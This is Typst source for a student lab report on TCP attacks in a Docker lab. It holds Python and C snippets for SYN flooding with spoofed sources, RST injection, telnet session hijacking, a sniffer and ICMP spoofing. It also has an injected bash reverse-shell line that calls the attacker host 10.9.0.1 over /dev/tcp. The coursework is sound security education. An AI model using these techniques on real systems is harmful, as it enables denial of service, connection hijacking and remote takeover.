#import "labtemplate.typ": *
#show: nudtlabpaper.with(title: "TCP 攻击实验",
  author: "程景愉",
  id: "202302723005",
  training_type: "无军籍",
  grade: "2023",
  major: "网络工程",
  department: "计算机学院",
  advisor: "柳林",
  jobtitle: "教授",
  lab: "307-208",
  date: "2026.05.04",
  header_str: "《网络安全》实验报告",
)
#set page(header: [
    #set par(spacing: 6pt)
    #align(center)[#text(size: 11pt)[《网络安全》实验报告]]
    #v(-0.3em)
    #line(length: 100%, stroke: (thickness: 1pt))
],)

  #show heading: it => box(width: 100%)[
    #v(0.50em)
    #set text(font: hei)
    #counter(heading).display()
    #it.body
  ]

// 代码块样式
#show raw.where(block: true): it => box(
fill: rgb("#f5f5f5"),
inset: (x: 12pt, y: 10pt),
radius: 6pt,
stroke: (thickness: 1pt, paint: rgb("#e0e0e0")),
it
)

#outline(title: "目录",depth: 3, indent: 2em)
#pagebreak()

= 实验目的
#para[
  TCP 协议是互联网的核心协议之一，其三次握手和连接管理机制虽然保证了传输的可靠性，但也引入了一些潜在的安全漏洞。本次实验旨在通过亲身实践，深入理解 TCP 协议的常见攻击方式及其背后的技术原理。具体目标包括：
]
- 理解 TCP SYN 泛洪（SYN Flood）攻击的原理，掌握使用 Scapy 和 C 语言实现该攻击的方法，并验证 SYN Cookies 防御机制的有效性。
- 掌握 TCP 重置（Reset）攻击的技术细节，学习如何通过伪造 RST 包来强制中断已建立的 TCP 连接。
- 实践 TCP 会话劫持（Session Hijacking）技术，理解如何通过监听和预测序列号在现有会话中注入恶意指令。
- 掌握利用会话劫持创建反向 Shell（Reverse Shell）的方法，理解该技术在实际渗透测试中的重要作用。
- 学习使用 libpcap 库和原始套接字（Raw Socket）在 C 语言中实现底层的数据包嗅探与伪造。

= 实验原理
== TCP 三次握手与 SYN 泛洪
#para[
  TCP 建立连接需要三次握手：客户端发送 SYN，服务器回复 SYN+ACK 并分配资源进入半连接（SYN-RECV）状态，最后客户端回复 ACK。SYN 泛洪攻击通过发送大量的 SYN 请求但不完成最后一步，使服务器的半连接队列（Backlog Queue）被占满，从而拒绝合法用户的连接请求。
]

== TCP 重置与会话劫持
#para[
  TCP 协议允许通过发送 RST 标志位的数据包来立即终止异常连接。如果攻击者能够获取或预测当前连接的端口号 and 序列号，就可以伪造一个 RST 包发送给其中一方，导致连接被强制断开。
]
#para[
  会话劫持则更进一步，攻击者不仅要断开连接，而是要在序列号步调一致的情况下注入自己的数据。通过伪造源地址和正确的序列号，接收方会认为这些数据来自合法的对端，从而执行注入的指令。
]

== 反向 Shell
#para[
  反向 Shell 是指被攻击者主动连接攻击者的监听端口，并将自己的 Shell（如 `/bin/bash`）的输入输出重定向到该连接上。这种方式常用于突破防火墙的入站限制。
]

= 实验环境
#para[
  本实验利用 Docker Compose 搭建了一个隔离的虚拟网络环境。该网络包含一台攻击者容器（Attacker）和三台用户/受害者容器。
]
#figure(
  image("images/dockerps.png", width: 100%),
  caption: [使用 docker ps 查看实验环境中的容器运行状态],
)
#align(center)[#table(
  columns: (auto, auto, auto),
  rows:(2em, 2em, 2em),
  inset: 10pt,
  align: horizon+center,
  table.header([*主机角色*], [*IP地址*], [*说明*]),
  "Attacker（攻击者）", "10.9.0.1 (host)", "运行攻击脚本，具有混杂模式权限",
  "Victim (受害者)", "10.9.0.5", "运行 telnet 服务的目标服务器",
  "User1 (合法用户)", "10.9.0.6", "实验中用于建立正常连接的主机",
)]

= 实验步骤及结果

== 任务集 1：SYN 泛洪攻击

=== 任务 1.1：使用 Python 发起攻击
#para[
  使用 Scapy 编写 `synflood.py`。其核心逻辑是在一个无限循环中，利用 `getrandbits(32)` 生成随机的源 IP 地址，并构造 TCP 头部将 `flags` 设置为 `'S'` (SYN)。
]
```python
while True:
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # 随机源 IP
    pkt[TCP].sport = getrandbits(16)               # 随机源端口
    pkt[TCP].seq = getrandbits(32)                 # 随机序列号
    send(pkt, verbose = 0)
```
#figure(
  image("images/task1.1_synflood.png", width: 90%),
  caption: [运行 synflood.py 期间，Victim 上的 netstat 输出展示了大量处于 SYN_RECV 状态的连接],
)

=== 任务 1.2：使用 C 语言发起攻击
#para[
  C 语言实现通过原始套接字直接构造 IP 和 TCP 头部。为了提高效率，我们手动计算了 TCP 校验和（包含伪首部）。
]
```c
// 核心循环：不断构造并发送 SYN 包
while (1) {
  tcp->tcp_sport = rand(); 
  tcp->tcp_flags = TH_SYN; 
  ip->iph_sourceip.s_addr = rand(); 
  tcp->tcp_sum = calculate_tcp_checksum(ip); // 必须计算校验和
  send_raw_ip_packet(ip);
}
```
#figure(
  image("images/task1.2_synflood_c.png", width: 90%),
  caption: [C 语言攻击下，Victim 的半连接队列瞬间被伪造包填满],
)

=== 任务 1.3：启用 SYN Cookie 防御
#para[
  启用防御后，服务器不再在收到 SYN 时立即分配资源，而是将连接信息编码进 `SYN-ACK` 的序列号中。
]
#figure(
  image("images/task1.3_syncookies.png", width: 90%),
  caption: [开启 SYN Cookies 后，合法用户 User1 仍能成功连接 Victim],
)

== 任务 2：TCP 重置攻击
#para[
  `reset_attack.py` 通过嗅探捕获 User1 发往 Victim 的包，提取其确认号（ACK）作为伪造 RST 包的序列号（SEQ），从而使 Victim 认为对端要求重置连接。
]
```python
def spoof_reset(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    # 关键：RST 包的 SEQ 必须在接收方的有效窗口内，通常设为对端的 ACK
    tcp = TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, 
              flags="R", seq=pkt[TCP].ack)
    send(ip/tcp, verbose=0)
```
#figure(
  image("images/task2_tcp_reset.png", width: 90%),
  caption: [User1 的 telnet 窗口显示连接被成功重置],
)

== 任务 3：TCP 会话劫持
#para[
  会话劫持需要更精确的序列号控制。我们通过嗅探获取当前的 SEQ 和 Payload 长度，计算出下一个合法的 SEQ，并注入指令。
]
```python
def hijack(pkt):
    if pkt[TCP].payload:
        ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
        # 预测下一个 SEQ：当前 SEQ + 载荷长度
        tcp = TCP(sport=pkt[TCP].sport, dport=pkt[TCP].dport, flags="A",
                  seq=pkt[TCP].seq + len(pkt[TCP].payload), ack=pkt[TCP].ack)
        payload = "\r touch /tmp/hijack_successful \r"
        send(ip/tcp/payload, verbose=0)
```
#figure(
  grid(
    columns: (1fr, 1fr),
    gutter: 10pt,
    image("images/task3_session_hijack-1.png", width: 100%),
    image("images/task3_session_hijack-2.png", width: 100%),
  ),
  caption: [会话劫持成功：在 Victim 容器中验证了文件的创建],
)

== 任务 4：创建反向 Shell
#para[
  在劫持逻辑中，我们将注入的指令替换为 Bash 反向 Shell 指令。
]
```python
cmd = "\r /bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 \r"
```
#figure(
  grid(
    columns: (1fr, 1fr),
    gutter: 10pt,
    image("images/task4_reverse_shell-1.png", width: 100%),
    image("images/task4_reverse_shell-2.png", width: 100%),
  ),
  caption: [通过会话劫持注入反向 Shell，Attacker 成功获得受害者控制权],
)

== 任务集 2：基于 C 的嗅探与伪造

=== 任务 2.1：基于 libpcap 的嗅探
#para[
  C 语言嗅探器通过 `pcap_loop` 持续处理报文。在回调函数中，我们通过指针偏移来解析 IP 头部。
]
```c
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
  // 跳过以太网头 (14字节) 到达 IP 头
  struct ipheader *ip = (struct ipheader *)(packet + 14); 
  printf("   From: %s\n", inet_ntoa(ip->iph_sourceip));
  printf("     To: %s\n", inet_ntoa(ip->iph_destip));
}
```
#figure(
  image("images/task2.1_c_sniffer.png", width: 90%),
  caption: [C 语言嗅探器成功输出实时抓取的 IP 报文信息],
)

=== 任务 2.3：嗅探与伪造联动 (Sniff-and-Spoof)
#para[
  该任务要求程序在捕获到 ICMP 请求时立即构造一个 Reply。
]
```c
if (icmp->icmp_type == 8) { // 检测到 Echo Request
    new_ip->iph_sourceip = ip->iph_destip; // 交换源目 IP
    new_ip->iph_destip = ip->iph_sourceip;
    new_icmp->icmp_type = 0;               // 设置为 Echo Reply
    new_icmp->icmp_chksum = 0;             // 重新计算校验和
    new_icmp->icmp_chksum = in_cksum(...);
    send_raw_ip_packet(new_ip);
}
```
#figure(
  image("images/task2.3_c_sniff_spoof.png", width: 90%),
  caption: [联动程序成功欺骗 User1，使其认为 1.2.3.4 在线],
)

=== 任务 2.1A：理解嗅探器工作原理

*问题 1：必不可少的库调用序列*
1. `pcap_open_live()`: 打开指定的网络接口进行捕获。
2. `pcap_compile()`: 将字符串形式的过滤表达式编译为 BPF 程序。
3. `pcap_setfilter()`: 将编译好的过滤器安装到捕获句柄。
4. `pcap_loop()`: 进入捕获循环，对每个包调用回调函数。

*问题 2：为何需要 Root 权限？*
嗅探程序需要创建原始套接字并开启网卡的混杂模式，这些操作涉及到对硬件和底层网络栈的直接控制，为了安全起见，操作系统仅允许特权用户（Root）执行。如果非特权用户运行，`pcap_open_live()` 将返回权限错误。

*问题 3：混杂模式（Promiscuous Mode）*
在实验中，将 `pcap_open_live()` 的第三个参数设为 1 开启混杂模式，0 则关闭。开启后，攻击者可以捕获到局域网内任意两台主机（如 User1 和 Victim）之间的通信；关闭后，仅能捕获到发往本机或广播地址的流量。

= 实验总结
#para[
  本次实验通过 Python 和 C 两种维度的实践，让我对 TCP/IP 协议栈的安全缺陷有了透彻的理解。从高层脚本的便捷性到低层 C 语言对每一比特的精准控制，我深刻体会到了网络攻防中"细节决定成败"的道理。特别是在序列号预测和校验和计算方面的实践，为我今后深入学习网络协议安全打下了坚实基础。
]
